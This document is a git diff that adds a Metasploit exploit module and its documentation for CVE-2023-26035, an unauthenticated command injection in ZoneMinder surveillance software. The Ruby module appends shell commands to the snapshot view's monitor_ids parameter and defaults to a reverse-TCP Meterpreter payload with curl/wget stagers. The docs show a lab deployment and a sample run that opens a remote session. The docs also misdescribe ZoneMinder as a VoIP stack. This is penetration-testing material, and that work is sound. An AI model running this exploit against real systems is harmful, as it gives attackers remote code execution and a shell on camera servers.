diff --git a/documentation/modules/exploit/unix/webapp/zoneminder_snapshots.md b/documentation/modules/exploit/unix/webapp/zoneminder_snapshots.md new file mode 100644 index 000000000000..245631c31ff8 --- /dev/null +++ b/documentation/modules/exploit/unix/webapp/zoneminder_snapshots.md @@ -0,0 +1,154 @@ +## Description + +This module exploits a command injection that leads to a remote execution in ZoneMinder surveillance software versions before 1.36.33 and before 1.37.33 + +More about the vulnerability detail: [2023-26035](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-26035). + +The module will automatically use `cmd/linux/http/x64/meterpreter/reverse_tcp` payload. + +The module will check if the target is vulnerable, by sending a sleep command. + + +## Vulnerable Application + +[Zoneminder](https://zoneminder.com/) is a free and open-source software defined telecommunications stack for real-time communication, WebRTC, telecommunications, video, and Voice over Internet Protocol. + +This module has been tested successfully on Zoneminder versions: + +* 1.36.31~64bit on Debian 11 + +### Source and Installers + +* [Source Code Repository](https://github.com/ZoneMinder/zoneminder/tree/1.36.31) +* [Installers](https://zoneminder.readthedocs.io/en/stable/installationguide/index.html) + +**The 3rd party debian-repository has packages for the vulnerable versions(for example zoneminder=1.36.31-bullseye1)** + +### Ansible Installation + +This exploit was tested using [a debian bullseye cloudimage](https://cloud.debian.org/images/cloud/bullseye/20210814-734/) +with the following ansible-roles: + +```yaml +roles: + - src: https://github.com/ait-cs-IaaS/atb-ansible-zoneminder.git + version: v1.2 + name: zoneminder + - src: https://github.com/ait-cs-IaaS/atb-ansible-debiansnapshot.git + version: v1.2 + name: debiansnapshot + - src: https://github.com/ait-cs-IaaS/ansible-mariadb.git + version: v1.0.0 + name: mariadb + - src: https://github.com/ait-cs-IaaS/ansible-apache2.git + version: v1.3 + name: apache2 +``` + +Zoneminder was deployed using the following playbook: + +```yaml +- name: Install old Debian-Archive-Repo Host + hosts: all + remote_user: debian + become: true + vars: + debsnap_timestamp: 20210815T082041Z + debsnap_debrelease: bullseye + roles: + - role: debiansnapshot + +- name: Install Videoserver Host + hosts: all + remote_user: debian + become: true + tasks: + - name: Install Videoserver Packages + ansible.builtin.apt: + pkg: + - vim + - curl + - netcat-traditional + update_cache: yes + + roles: + - role: mariadb + - role: apache2 + vars: + apache2_modules: + - name: "headers" + - name: "rewrite" + - name: "expires" + - name: "cgi" + apache2_vhosts: + - name: default + http: true + vhost_template: "redir.j2" + - role: zoneminder + vars: + zoneminder_debrelease: bullseye +``` + +The following template-file("redir.j2") for apache2 redirects requests to the +zoneminder subdirectory: + +``` + + ServerName {{ item.name }} +{% if item.aliases is defined %} + ServerAlias {{ item.aliases|join(' ') }} +{% endif %} + DocumentRoot {{ apache2_vhost_dir }}/{{ item.name }} + RedirectMatch ^/$ /zm/ + ErrorLog {{ apache2_vhost_dir }}/{{ item.name }}/log/error.log + CustomLog {{ apache2_vhost_dir }}/{{ item.name }}/log/access.log combined + + + Options FollowSymLinks MultiViews + AllowOverride All + Require all granted + + +``` + +## Verification Steps +Example steps in this format (is also in the PR): + +1. Do: `use exploit/unix/webapp/zoneminder_snapshots` +2. Do: `set RHOSTS [ips]` +3. Do: `set LHOST [lhost]` +4. Do: `run` +5. You should get a shell. + +## Options + +### TARGETURI + +Remote web path to the zoneminder installation (default: /zm/) + +## Scenarios + +In this scenario the zoneminder-server has the IP address 192.42.0.254. The IP address of the metasploit host is +192.42.1.188. + +### Zoneminder 1.36.31-bullseye1 + +The following demo shows how to use the exploit with minimal settings: + +``` +msf6 exploit(unix/webapp/zoneminder_snapshots) > run + +[*] Started reverse TCP handler on 192.42.1.188:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Elapsed time: 10.249642733018845 seconds. +[+] The target appears to be vulnerable. +[*] Fetching CSRF Token +[+] Got Token: key:b5da21a154bc5f46cd2b3648fe9e44931dd74bac,1697109606 +[*] Executing nix Command for cmd/linux/http/x64/meterpreter/reverse_tcp +[*] Sending payload +[*] Sending stage (3045380 bytes) to 192.42.0.254 +[*] Meterpreter session 1 opened (192.42.1.188:4444 -> 192.42.0.254:56398) at 2023-10-12 11:20:07 +0000 +[+] Payload sent + +meterpreter > +``` diff --git a/modules/exploits/unix/webapp/zoneminder_snapshots.rb b/modules/exploits/unix/webapp/zoneminder_snapshots.rb new file mode 100644 index 000000000000..e88250e695fa --- /dev/null +++ b/modules/exploits/unix/webapp/zoneminder_snapshots.rb @@ -0,0 +1,158 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +# +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Exploit::Remote::AutoCheck + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ZoneMinder Snapshots Command Injection', + 'Description' => %q{ + This module exploits an unauthenticated command injection + in zoneminder that can be exploited by appending a command + to the "create monitor ids[]"-action of the snapshot view. + Affected versions: < 1.36.33, < 1.37.33 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'UnblvR', # Discovery + 'whotwagner' # Metasploit Module + ], + 'References' => [ + [ 'CVE', '2023-26035' ], + [ 'URL', 'https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr'] + ], + 'Privileged' => false, + 'Platform' => ['linux', 'unix'], + 'Targets' => [ + [ + 'nix Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', + 'FETCH_WRITABLE_DIR' => '/tmp' + } + } + ], + [ + 'Linux (Dropper)', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X64], + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, + 'Type' => :linux_dropper + } + ], + ], + 'CmdStagerFlavor' => [ 'bourne', 'curl', 'wget', 'printf', 'echo' ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-02-24', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/']) + ]) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'GET' + ) + return Exploit::CheckCode::Unknown('No response from the web service') if res.nil? + return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200 + + unless res.body.include?('ZoneMinder') + return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server') + end + + csrf_magic = get_csrf_magic(res) + # This check executes a sleep-command and checks the response-time + sleep_time = rand(5..10) + data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}" + data += "&__csrf_magic=#{csrf_magic}" if csrf_magic + res, elapsed_time = Rex::Stopwatch.elapsed_time do + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'data' => data.to_s, + 'keep_cookies' => true + ) + end + return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res + + print_status("Elapsed time: #{elapsed_time} seconds.") + if sleep_time < elapsed_time + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe('Target is not vulnerable') + end + + def execute_command(cmd, _opts = {}) + command = Rex::Text.uri_encode(cmd) + print_status('Sending payload') + data = "view=snapshot&action=create&monitor_ids[0][Id]=;#{command}" + data += "&__csrf_magic=#{@csrf_magic}" if @csrf_magic + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'data' => data.to_s + ) + print_good('Payload sent') + end + + def exploit + # get magic csrf-token + print_status('Fetching CSRF Token') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'GET' + ) + + if res && res.code == 200 + # parse token + @csrf_magic = get_csrf_magic(res) + unless @csrf_magic =~ /^key:[a-f0-9]{40},\d+/ + fail_with(Failure::UnexpectedReply, 'Unable to parse token.') + end + else + fail_with(Failure::UnexpectedReply, 'Unable to fetch token.') + end + print_good("Got Token: #{@csrf_magic}") + # send payload + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end + end + + private + + def get_csrf_magic(res) + return if res.nil? + + res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text + end +end